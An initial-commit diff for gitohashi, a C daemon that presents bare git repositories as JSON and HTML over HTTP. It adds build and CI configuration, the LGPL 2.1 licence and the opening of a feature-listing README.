Author: Andy Green <andy@warmcat.com>
Date: Tue Jul 31 00:00:46 2018 +0100

initial commit


diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..4c9346e
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,4 @@
+build
+.cproject
+.project
+.settings
diff --git a/.travis.yml b/.travis.yml
new file mode 100644
index 0000000..58518ae
--- /dev/null
+++ b/.travis.yml
@@ -0,0 +1,17 @@
+env:
+  matrix:
+    - LWS_METHOD=default CMAKE_ARGS=""
+
+os:
+  - linux
+  - osx
+
+language: generic
+
+install: if [ "$TRAVIS_OS_NAME" == "linux" ]; then sudo apt-get update -qq ; sudo apt-get install -y -qq libgit2-0 libgit2-dev libarchive13 libarchive-dev ; fi ; if [ "$TRAVIS_OS_NAME" == "osx" ]; then brew update; brew install libgit2 ; fi
+
+script: git clone https://libwebsockets.org:444/repo/libwebsockets && cd libwebsockets && mkdir build && cd build && if [ "$TRAVIS_OS_NAME" = "osx" ] ; then cmake -DOPENSSL_ROOT_DIR="/usr/local/opt/openssl" .. ; else cmake .. ; fi && cmake --build . && sudo make install && cd ../.. && mkdir build && cd build && if [ "$TRAVIS_OS_NAME" = "osx" ] ; then CFLAGS="-I/usr/local/opt/openssl/include" cmake -DCMAKE_REQUIRED_INCLUDES="/usr/local/opt/openssl/include" $CMAKE_ARGS .. ; CFLAGS="-I/usr/local/opt/openssl/include" cmake --build . ; else cmake $CMAKE_ARGS .. ; cmake --build . ; fi && sudo make install
+
+sudo: required
+dist: trusty
+
diff --git a/CMakeLists.txt b/CMakeLists.txt
new file mode 100644
index 0000000..404dcbd
--- /dev/null
+++ b/CMakeLists.txt
@@ -0,0 +1,231 @@
+cmake_minimum_required(VERSION 2.8)
+include(CheckCSourceCompiles)
+include(CheckIncludeFile)
+
+set(PROJ gitohashi)
+project (gitohashi C)
+
+#
+# You can override where gitohashi gets its dependent library and includes
+# from, at the cmake commandline.  For libwebsockets, eg:
+#
+# cmake .. -DGOH_LWS_INC_PATH=/usr/local/include \
+#          -DGOH_LWS_LIB_PATH=/usr/local/lib/libwebsockets.so
+#
+# For git2, eg
+#
+# cmake .. -DJG2_GIT2_INC_PATH=/usr/local/include \
+#          -DJG2_GIT2_LIB_PATH=/usr/local/lib/libgit2.so
+#
+# and for libarchive, eg
+#
+# cmake .. -DJG2_ARCHIVE_INC_PATH=/usr/local/include \
+#    
+
+# enable this if you want to run gitohashi from another lws application via
+# its protocol plugins alone
+#
+option(GOH_LWS_PLUGINS "Also build lws protocol plugins" OFF)
+
+
+set(GOH_DEPLIBS jsongit2)
+set(JG2_DEPLIBS pthread)
+
+#
+# libgit2 paths
+#
+find_path(   JG2_GIT2_INC_PATH NAMES "git2.h")
+find_library(JG2_GIT2_LIB_PATH NAMES "git2")
+
+if (JG2_GIT2_INC_PATH AND JG2_GIT2_LIB_PATH)
+	set(JG2_DEPLIBS ${JG2_GIT2_LIB_PATH} ${JG2_DEPLIBS})
+	include_directories(BEFORE "${JG2_GIT2_INC_PATH}")
+else()
+	message(FATAL_ERROR " Unable to find libgit2")
+endif()
+
+#
+# libarchive paths
+#
+find_path(   JG2_ARCHIVE_INC_PATH NAMES "archive.h")
+find_library(JG2_ARCHIVE_LIB_PATH NAMES "archive")
+
+if (JG2_ARCHIVE_INC_PATH AND JG2_ARCHIVE_LIB_PATH)
+	set(JG2_DEPLIBS ${JG2_ARCHIVE_LIB_PATH} ${JG2_DEPLIBS})
+	include_directories(BEFORE "${JG2_ARCHIVE_INC_PATH}")
+	set(JG2_HAVE_ARCHIVE_H "Y")
+endif()
+
+#
+# libwebsockets paths
+#
+find_path(   GOH_LWS_INC_PATH NAMES "libwebsockets.h")
+find_library(GOH_LWS_LIB_PATH NAMES "websockets")
+
+if (GOH_LWS_INC_PATH AND GOH_LWS_LIB_PATH)
+	set(GOH_DEPLIBS ${GOH_LWS_LIB_PATH} ${GOH_DEPLIBS})
+	include_directories(BEFORE "${GOH_LWS_INC_PATH}")
+else()
+	message(FATAL_ERROR " Unable to find libwebsockets")
+endif()
+
+
+set(CMAKE_REQUIRED_INCLUDES "include")
+CHECK_C_SOURCE_COMPILES(
+	"#include <git2.h>
+	int main(int argc, char **argv) { return GIT_BLAME_USE_MAILMAP; }
+	" JG2_HAVE_BLAME_MAILMAP)
+
+set(JG2_SOURCES lib/cache.c
+	    lib/main.c
+	    lib/repostate.c
+	    lib/util.c
+
+	    lib/job/job.c
+	    lib/job/reflist.c
+	    lib/job/log.c
+	    lib/job/commit.c
+	    lib/job/tree.c
+	    lib/job/plain.c
+	    lib/job/repos.c
+	    lib/job/blame.c
+	    lib/job/blog.c
+
+	    lib/conf/gitolite.c
+	    lib/conf/scan-repos.c
+
+	    lib/email/md5.c
+	    lib/email/email.c
+
+	    lib/lac/lac.c
+	    lib/lac/cached-file.c
+)
+
+if (JG2_HAVE_ARCHIVE_H)
+	set(JG2_SOURCES ${JG2_SOURCES} lib/job/snapshot.c)
+	set(JG2_DEPLIBS ${JG2_DEPLIBS} archive)
+else()
+	set(JG2_SOURCES ${JG2_SOURCES} lib/job/no-snapshot.c)
+endif()
+
+configure_file("cmake/config.h.in" "${PROJECT_BINARY_DIR}/jg2-config.h")
+add_library(jsongit2 SHARED ${JG2_SOURCES})
+set(HDR_PUBLIC "include/libjsongit2.h" "${PROJECT_BINARY_DIR}/jg2-config.h")
+set_target_properties(jsongit2 PROPERTIES PUBLIC_HEADER "${HDR_PUBLIC}")
+target_include_directories(jsongit2 PRIVATE "${PROJECT_BINARY_DIR}"
+					      "${PROJECT_SOURCE_DIR}/include")      
+target_link_libraries(jsongit2 ${JG2_DEPLIBS})
+
+set(CPACK_COMPONENT_LIBRARIES_DISPLAY_NAME "Libraries")
+set(CPACK_COMPONENT_DEV_DISPLAY_NAME "Development files")
+
+# jsongit2 examples 
+
+add_executable(jg2-example examples/minimal/jg2-example.c)
+target_link_libraries(jg2-example jsongit2)
+target_include_directories(jg2-example PRIVATE "${PROJECT_SOURCE_DIR}/include")
+
+add_executable(jg2-threadchurn examples/threadchurn/threadchurn.c)
+target_link_libraries(jg2-threadchurn jsongit2 pthread)
+target_include_directories(jg2-threadchurn PRIVATE "${PROJECT_SOURCE_DIR}/include")
+
+
+message("----------------------------- dependent libs -----------------------------")
+message(" libgit2:    include: ${JG2_GIT2_INC_PATH}, lib: ${JG2_GIT2_LIB_PATH}")
+message(" libgit2:    has GIT_BLAME_USE_MAILMAP: ${JG2_HAVE_BLAME_MAILMAP}")
+if (NOT JG2_HAVE_ARCHIVE_H)
+	message(" libarchive: not found")
+else()
+	message(" libarchive: include: ${JG2_ARCHIVE_INC_PATH}, lib: ${JG2_ARCHIVE_LIB_PATH}")
+endif()
+message(" libwebsockets: include: ${GOH_LWS_INC_PATH}, lib: ${GOH_LWS_LIB_PATH}")
+message(" lws plugins:   ${GOH_LWS_PLUGINS}")
+
+
+
+if (CMAKE_COMPILER_IS_GNUCC OR CMAKE_COMPILER_IS_GNUCXX OR (CMAKE_C_COMPILER_ID MATCHES "Clang") OR (CMAKE_CXX_COMPILER_ID MATCHES "Clang"))
+    include (CheckCCompilerFlag)
+    
+    set(CMAKE_C_FLAGS "-Wall -Wsign-compare -Wignored-qualifiers -Wtype-limits -Wuninitialized -Werror -Wundef ${CMAKE_C_FLAGS}" )
+endif()
+
+set(LIB_DIR       lib     CACHE PATH "Install dir for libraries")
+set(BIN_DIR       bin     CACHE PATH "Install dir for executables")
+set(INCLUDE_DIR   include CACHE PATH "Install dir for header files")
+set(DATA_DIR      share   CACHE PATH "Install dir for data files")
+
+install(TARGETS jsongit2
+		jg2-example
+		jg2-threadchurn
+
+	LIBRARY DESTINATION "${LIB_DIR}${LIB_SUFFIX}" COMPONENT libraries
+	ARCHIVE DESTINATION "${LIB_DIR}${LIB_SUFFIX}" COMPONENT libraries
+	RUNTIME DESTINATION "${BIN_DIR}" COMPONENT libraries
+	PUBLIC_HEADER DESTINATION "${INCLUDE_DIR}" COMPONENT dev)
+
+
+
+install(FILES assets/github.css
+	      assets/logo.css
+	      assets/gitohashi-custom.css
+	      assets/highlight.pack.js
+	      assets/jg2.css
+	      assets/jg2.js
+	      assets/inconsolata.ttf
+	      assets/showdown.min.js
+	      assets/showdown.min.js.map
+			DESTINATION "${DATA_DIR}/gitohashi/assets")
+			
+install(FILES example-cert/localhost-100y.cert.pem
+	      example-cert/localhost-100y.key.pem
+			DESTINATION "${DATA_DIR}/gitohashi/example-cert")
+			
+install(FILES templates/gitohashi-example.html
+			DESTINATION "${DATA_DIR}/gitohashi/templates")
+			
+install(FILES system/gitohashi-selinux.pp
+			DESTINATION "${DATA_DIR}/gitohashi")
+			
+install(FILES system/gitohashi.service
+			DESTINATION "${LIB_DIR}/systemd/system")
+
+add_executable(${PROJ}
+	src/main.c
+
+)
+target_link_libraries(${PROJ} websockets jsongit2)
+target_include_directories(${PROJ} PRIVATE "${PROJECT_SOURCE_DIR}/include")
+
+install(TARGETS ${PROJ} RUNTIME DESTINATION ${BIN_DIR})
+
+
+if (GOH_LWS_PLUGINS)
+	add_library(protocol_gitohashi SHARED src/protocol_gitohashi.c)
+	
+	target_link_libraries(protocol_gitohashi -lwebsockets jsongit2)
+
+	set_property(TARGET protocol_gitohashi
+		     PROPERTY COMPILE_DEFINITIONS
+		     INSTALL_DATADIR="${CMAKE_INSTALL_PREFIX}/plugins"
+	)
+	
+	list(APPEND PLUGINS_LIST protocol_gitohashi)
+	
+	
+	add_library(protocol_avatar_proxy SHARED src/protocol_avatar-proxy.c)
+	
+	target_link_libraries(protocol_avatar_proxy -lwebsockets jsongit2)
+
+	set_property(TARGET protocol_avatar_proxy
+		     PROPERTY COMPILE_DEFINITIONS
+		     INSTALL_DATADIR="${CMAKE_INSTALL_PREFIX}/plugins"
+	)
+	
+	list(APPEND PLUGINS_LIST protocol_avatar_proxy)
+	
+	install(TARGETS ${PLUGINS_LIST}
+		PERMISSIONS  OWNER_WRITE OWNER_EXECUTE GROUP_EXECUTE WORLD_EXECUTE OWNER_READ GROUP_READ WORLD_READ
+		DESTINATION share/libwebsockets-test-server/plugins
+		COMPONENT plugins)
+
+endif()
diff --git a/LICENSE b/LICENSE
new file mode 100644
index 0000000..266c8ec
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1,515 @@
+Note 1: LGPL may seem a bit of a strange choice for a daemon, however,
+most of the sources originated in either libjsongit2 or libwebsockets
+which are LGPL2 and are already so licensed.  Since it's not a lib
+though the SLE makes no sense and is removed.  So it's plain LGPL2.1.
+
+Note 2: Some parts of gitohashi came from other more liberally-
+licensed projects and they have their original liberal license retained.
+You can get them from the original projects:
+
+  - showdown     - see license + upstream url copied into README.md
+  - highlight.js - see license + upstream url copied into README.md
+
+ 
+                  GNU LESSER GENERAL PUBLIC LICENSE
+                       Version 2.1, February 1999
+
+ Copyright (C) 1991, 1999 Free Software Foundation, Inc.
+ 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+[This is the first released version of the Lesser GPL.  It also counts
+ as the successor of the GNU Library Public License, version 2, hence
+ the version number 2.1.]
+
+                            Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+Licenses are intended to guarantee your freedom to share and change
+free software--to make sure the software is free for all its users.
+
+  This license, the Lesser General Public License, applies to some
+specially designated software packages--typically libraries--of the
+Free Software Foundation and other authors who decide to use it.  You
+can use it too, but we suggest you first think carefully about whether
+this license or the ordinary General Public License is the better
+strategy to use in any particular case, based on the explanations below.
+
+  When we speak of free software, we are referring to freedom of use,
+not price.  Our General Public Licenses are designed to make sure that
+you have the freedom to distribute copies of free software (and charge
+for this service if you wish); that you receive source code or can get
+it if you want it; that you can change the software and use pieces of
+it in new free programs; and that you are informed that you can do
+these things.
+
+  To protect your rights, we need to make restrictions that forbid
+distributors to deny you these rights or to ask you to surrender these
+rights.  These restrictions translate to certain responsibilities for
+you if you distribute copies of the library or if you modify it.
+
+  For example, if you distribute copies of the library, whether gratis
+or for a fee, you must give the recipients all the rights that we gave
+you.  You must make sure that they, too, receive or can get the source
+code.  If you link other code with the library, you must provide
+complete object files to the recipients, so that they can relink them
+with the library after making changes to the library and recompiling
+it.  And you must show them these terms so they know their rights.
+
+  We protect your rights with a two-step method: (1) we copyright the
+library, and (2) we offer you this license, which gives you legal
+permission to copy, distribute and/or modify the library.
+
+  To protect each distributor, we want to make it very clear that
+there is no warranty for the free library.  Also, if the library is
+modified by someone else and passed on, the recipients should know
+that what they have is not the original version, so that the original
+author's reputation will not be affected by problems that might be
+introduced by others.
+
+  Finally, software patents pose a constant threat to the existence of
+any free program.  We wish to make sure that a company cannot
+effectively restrict the users of a free program by obtaining a
+restrictive license from a patent holder.  Therefore, we insist that
+any patent license obtained for a version of the library must be
+consistent with the full freedom of use specified in this license.
+
+  Most GNU software, including some libraries, is covered by the
+ordinary GNU General Public License.  This license, the GNU Lesser
+General Public License, applies to certain designated libraries, and
+is quite different from the ordinary General Public License.  We use
+this license for certain libraries in order to permit linking those
+libraries into non-free programs.
+
+  When a program is linked with a library, whether statically or using
+a shared library, the combination of the two is legally speaking a
+combined work, a derivative of the original library.  The ordinary
+General Public License therefore permits such linking only if the
+entire combination fits its criteria of freedom.  The Lesser General
+Public License permits more lax criteria for linking other code with
+the library.
+
+  We call this license the "Lesser" General Public License because it
+does Less to protect the user's freedom than the ordinary General
+Public License.  It also provides other free software developers Less
+of an advantage over competing non-free programs.  These disadvantages
+are the reason we use the ordinary General Public License for many
+libraries.  However, the Lesser license provides advantages in certain
+special circumstances.
+
+  For example, on rare occasions, there may be a special need to
+encourage the widest possible use of a certain library, so that it becomes
+a de-facto standard.  To achieve this, non-free programs must be
+allowed to use the library.  A more frequent case is that a free
+library does the same job as widely used non-free libraries.  In this
+case, there is little to gain by limiting the free library to free
+software only, so we use the Lesser General Public License.
+
+  In other cases, permission to use a particular library in non-free
+programs enables a greater number of people to use a large body of
+free software.  For example, permission to use the GNU C Library in
+non-free programs enables many more people to use the whole GNU
+operating system, as well as its variant, the GNU/Linux operating
+system.
+
+  Although the Lesser General Public License is Less protective of the
+users' freedom, it does ensure that the user of a program that is
+linked with the Library has the freedom and the wherewithal to run
+that program using a modified version of the Library.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.  Pay close attention to the difference between a
+"work based on the library" and a "work that uses the library".  The
+former contains code derived from the library, whereas the latter must
+be combined with the library in order to run.
+
+                  GNU LESSER GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License Agreement applies to any software library or other
+program which contains a notice placed by the copyright holder or
+other authorized party saying it may be distributed under the terms of
+this Lesser General Public License (also called "this License").
+Each licensee is addressed as "you".
+
+  A "library" means a collection of software functions and/or data
+prepared so as to be conveniently linked with application programs
+(which use some of those functions and data) to form executables.
+
+  The "Library", below, refers to any such software library or work
+which has been distributed under these terms.  A "work based on the
+Library" means either the Library or any derivative work under
+copyright law: that is to say, a work containing the Library or a
+portion of it, either verbatim or with modifications and/or translated
+straightforwardly into another language.  (Hereinafter, translation is
+included without limitation in the term "modification".)
+
+  "Source code" for a work means the preferred form of the work for
+making modifications to it.  For a library, complete source code means
+all the source code for all modules it contains, plus any associated
+interface definition files, plus the scripts used to control compilation
+and installation of the library.
+
+  Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running a program using the Library is not restricted, and output from
+such a program is covered only if its contents constitute a work based
+on the Library (independent of the use of the Library in a tool for
+writing it).  Whether that is true depends on what the Library does
+and what the program that uses the Library does.
+
+  1. You may copy and distribute verbatim copies of the Library's
+complete source code as you receive it, in any medium, provided that
+you conspicuously and appropriately publish on each copy an
+appropriate copyright notice and disclaimer of warranty; keep intact
+all the notices that refer to this License and to the absence of any
+warranty; and distribute a copy of this License along with the
+Library.
+
+  You may charge a fee for the physical act of transferring a copy,
+and you may at your option offer warranty protection in exchange for a
+fee.
+
+  2. You may modify your copy or copies of the Library or any portion
+of it, thus forming a work based on the Library, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) The modified work must itself be a software library.
+
+    b) You must cause the files modified to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    c) You must cause the whole of the work to be licensed at no
+    charge to all third parties under the terms of this License.
+
+    d) If a facility in the modified Library refers to a function or a
+    table of data to be supplied by an application program that uses
+    the facility, other than as an argument passed when the facility
+    is invoked, then you must make a good faith effort to ensure that,
+    in the event an application does not supply such function or
+    table, the facility still operates, and performs whatever part of
+    its purpose remains meaningful.
+
+    (For example, a function in a library to compute square roots has
+    a purpose that is entirely well-defined independent of the
+    application.  Therefore, Subsection 2d requires that any
+    application-supplied function or table used by this function must
+    be optional: if the application does not supply it, the square
+    root function must still compute square roots.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Library,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Library, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote
+it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Library.
+
+In addition, mere aggregation of another work not based on the Library
+with the Library (or with a work based on the Library) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may opt to apply the terms of the ordinary GNU General Public
+License instead of this License to a given copy of the Library.  To do
+this, you must alter all the notices that refer to this License, so
+that they refer to the ordinary GNU General Public License, version 2,
+instead of to this License.  (If a newer version than version 2 of the
+ordinary GNU General Public License has appeared, then you can specify
+that version instead if you wish.)  Do not make any other change in
+these notices.
+
+  Once this change is made in a given copy, it is irreversible for
+that copy, so the ordinary GNU General Public License applies to all
+subsequent copies and derivative works made from that copy.
+
+  This option is useful when you wish to copy part of the code of
+the Library into a program that is not a library.
+
+  4. You may copy and distribute the Library (or a portion or
+derivative of it, under Section 2) in object code or executable form
+under the terms of Sections 1 and 2 above provided that you accompany
+it with the complete corresponding machine-readable source code, which
+must be distributed under the terms of Sections 1 and 2 above on a
+medium customarily used for software interchange.
+
+  If distribution of object code is made by offering access to copy
+from a designated place, then offering equivalent access to copy the
+source code from the same place satisfies the requirement to
+distribute the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  5. A program that contains no derivative of any portion of the
+Library, but is designed to work with the Library by being compiled or
+linked with it, is called a "work that uses the Library".  Such a
+work, in isolation, is not a derivative work of the Library, and
+therefore falls outside the scope of this License.
+
+  However, linking a "work that uses the Library" with the Library
+creates an executable that is a derivative of the Library (because it
+contains portions of the Library), rather than a "work that uses the
+library".  The executable is therefore covered by this License.
+Section 6 states terms for distribution of such executables.
+
+  When a "work that uses the Library" uses material from a header file
+that is part of the Library, the object code for the work may be a
+derivative work of the Library even though the source code is not.
+Whether this is true is especially significant if the work can be
+linked without the Library, or if the work is itself a library.  The
+threshold for this to be true is not precisely defined by law.
+
+  If such an object file uses only numerical parameters, data
+structure layouts and accessors, and small macros and small inline
+functions (ten lines or less in length), then the use of the object
+file is unrestricted, regardless of whether it is legally a derivative
+work.  (Executables containing this object code plus portions of the
+Library will still fall under Section 6.)
+
+  Otherwise, if the work is a derivative of the Library, you may
+distribute the object code for the work under the terms of Section 6.
+Any executables containing that work also fall under Section 6,
+whether or not they are linked directly with the Library itself.
+
+  6. As an exception to the Sections above, you may also combine or
+link a "work that uses the Library" with the Library to produce a
+work containing portions of the Library, and distribute that work
+under terms of your choice, provided that the terms permit
+modification of the work for the customer's own use and reverse
+engineering for debugging such modifications.
+
+  You must give prominent notice with each copy of the work that the
+Library is used in it and that the Library and its use are covered by
+this License.  You must supply a copy of this License.  If the work
+during execution displays copyright notices, you must include the
+copyright notice for the Library among them, as well as a reference
+directing the user to the copy of this License.  Also, you must do one
+of these things:
+
+    a) Accompany the work with the complete corresponding
+    machine-readable source code for the Library including whatever
+    changes were used in the work (which must be distributed under
+    Sections 1 and 2 above); and, if the work is an executable linked
+    with the Library, with the complete machine-readable "work that
+    uses the Library", as object code and/or source code, so that the
+    user can modify the Library and then relink to produce a modified
+    executable containing the modified Library.  (It is understood
+    that the user who changes the contents of definitions files in the
+    Library will not necessarily be able to recompile the application
+    to use the modified definitions.)
+
+    b) Use a suitable shared library mechanism for linking with the
+    Library.  A suitable mechanism is one that (1) uses at run time a
+    copy of the library already present on the user's computer system,
+    rather than copying library functions into the executable, and (2)
+    will operate properly with a modified version of the library, if
+    the user installs one, as long as the modified version is
+    interface-compatible with the version that the work was made with.
+
+    c) Accompany the work with a written offer, valid for at
+    least three years, to give the same user the materials
+    specified in Subsection 6a, above, for a charge no more
+    than the cost of performing this distribution.
+
+    d) If distribution of the work is made by offering access to copy
+    from a designated place, offer equivalent access to copy the above
+    specified materials from the same place.
+
+    e) Verify that the user has already received a copy of these
+    materials or that you have already sent this user a copy.
+
+  For an executable, the required form of the "work that uses the
+Library" must include any data and utility programs needed for
+reproducing the executable from it.  However, as a special exception,
+the materials to be distributed need not include anything that is
+normally distributed (in either source or binary form) with the major
+components (compiler, kernel, and so on) of the operating system on
+which the executable runs, unless that component itself accompanies
+the executable.
+
+  It may happen that this requirement contradicts the license
+restrictions of other proprietary libraries that do not normally
+accompany the operating system.  Such a contradiction means you cannot
+use both them and the Library together in an executable that you
+distribute.
+
+  7. You may place library facilities that are a work based on the
+Library side-by-side in a single library together with other library
+facilities not covered by this License, and distribute such a combined
+library, provided that the separate distribution of the work based on
+the Library and of the other library facilities is otherwise
+permitted, and provided that you do these two things:
+
+    a) Accompany the combined library with a copy of the same work
+    based on the Library, uncombined with any other library
+    facilities.  This must be distributed under the terms of the
+    Sections above.
+
+    b) Give prominent notice with the combined library of the fact
+    that part of it is a work based on the Library, and explaining
+    where to find the accompanying uncombined form of the same work.
+
+  8. You may not copy, modify, sublicense, link with, or distribute
+the Library except as expressly provided under this License.  Any
+attempt otherwise to copy, modify, sublicense, link with, or
+distribute the Library is void, and will automatically terminate your
+rights under this License.  However, parties who have received copies,
+or rights, from you under this License will not have their licenses
+terminated so long as such parties remain in full compliance.
+
+  9. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Library or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Library (or any work based on the
+Library), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Library or works based on it.
+
+  10. Each time you redistribute the Library (or any work based on the
+Library), the recipient automatically receives a license from the
+original licensor to copy, distribute, link with or modify the Library
+subject to these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties with
+this License.
+
+  11. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Library at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Library by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Library.
+
+If any portion of this section is held invalid or unenforceable under any
+particular circumstance, the balance of the section is intended to apply,
+and the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  12. If the distribution and/or use of the Library is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Library under this License may add
+an explicit geographical distribution limitation excluding those countries,
+so that distribution is permitted only in or among countries not thus
+excluded.  In such case, this License incorporates the limitation as if
+written in the body of this License.
+
+  13. The Free Software Foundation may publish revised and/or new
+versions of the Lesser General Public License from time to time.
+Such new versions will be similar in spirit to the present version,
+but may differ in detail to address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Library
+specifies a version number of this License which applies to it and
+"any later version", you have the option of following the terms and
+conditions either of that version or of any later version published by
+the Free Software Foundation.  If the Library does not specify a
+license version number, you may choose any version ever published by
+the Free Software Foundation.
+
+  14. If you wish to incorporate parts of the Library into other free
+programs whose distribution conditions are incompatible with these,
+write to the author to ask for permission.  For software which is
+copyrighted by the Free Software Foundation, write to the Free
+Software Foundation; we sometimes make exceptions for this.  Our
+decision will be guided by the two goals of preserving the free status
+of all derivatives of our free software and of promoting the sharing
+and reuse of software generally.
+
+                            NO WARRANTY
+
+  15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
+WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
+EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
+OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
+KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
+LIBRARY IS WITH YOU.  SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
+THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
+WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
+AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
+FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
+CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
+LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
+RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
+FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
+SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
+DAMAGES.
+
+                     END OF TERMS AND CONDITIONS
+
+           How to Apply These Terms to Your New Libraries
+
+  If you develop a new library, and you want it to be of the greatest
+possible use to the public, we recommend making it free software that
+everyone can redistribute and change.  You can do so by permitting
+redistribution under these terms (or, alternatively, under the terms of the
+ordinary General Public License).
+
+  To apply these terms, attach the following notices to the library.  It is
+safest to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least the
+"copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the library's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Lesser General Public
+    License as published by the Free Software Foundation; either
+    version 2.1 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Lesser General Public License for more details.
+
+    You should have received a copy of the GNU Lesser General Public
+    License along with this library; if not, write to the Free Software
+    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+
+Also add information on how to contact you by electronic and paper mail.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the library, if
+necessary.  Here is a sample; alter the names:
+
+  Yoyodyne, Inc., hereby disclaims all copyright interest in the
+  library `Frob' (a library for tweaking knobs) written by James Random Hacker.
+
+  <signature of Ty Coon>, 1 April 1990
+  Ty Coon, President of Vice
+
+That's all there is to it!
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..5dcfb35
--- /dev/null
+++ b/README.md
@@ -0,0 +1,699 @@
+[![travis](https://travis-ci.org/warmcat/gitohashi.svg?branch=master)](https://travis-ci.org/warmcat/gitohashi) [![coverity](https://scan.coverity.com/projects/16562/badge.svg?flat=1)](https://scan.coverity.com/projects/gitohashi) 
+
+gitohashi
+---------
+
+Lightweight C Daemon that provides HTTP network transport and HTML presentation
+via a JSON representation of bare git repositories.  Supports http/1, http/2 and
+unix socket (proxiable by, eg, apache & lighttpd) serving, avatar proxy caching
+and many other features.
+
+![gitohashi-overview](./doc/doc-assets/gitohashi-overview.svg)
+
+## Features
+
+ - Follows github type web display of repository state, default view is to show
+   rendered README.md.  Markdown can include references to files from the
+   repo revision directly.
+
+ - No forking... no cgi... no subprocesses... persistant daemon architecture
+
+ - Can optionally serve http[s] directly over http/1.1 and http/2
+ 
+ - Can optionally serve locally for integration with existing Apache / lighttpd
+   etc server via per-vhost unix socket + mod_proxy
+
+ - Clientside JS, CSS and HTML are provided, along with Markdown parsing
+   and syntax highlighting JS to present the JSON + HTML from libjsongit2 in
+   a modern and responsive way.  SVG icons provided.  Customizing the css and
+   HTML template encouraged.
+
+ - Transparent caching at JSON block level, keyed using global repository ref
+   state... cache invalidated when any ref updated.  ETAG browser cache
+   validation supported as well.  No time-based invalidation so no cached view
+   more than a few seconds out of date.
+   
+ - Multiple vhosts natively supported, integrated with libjsongit2 so each can
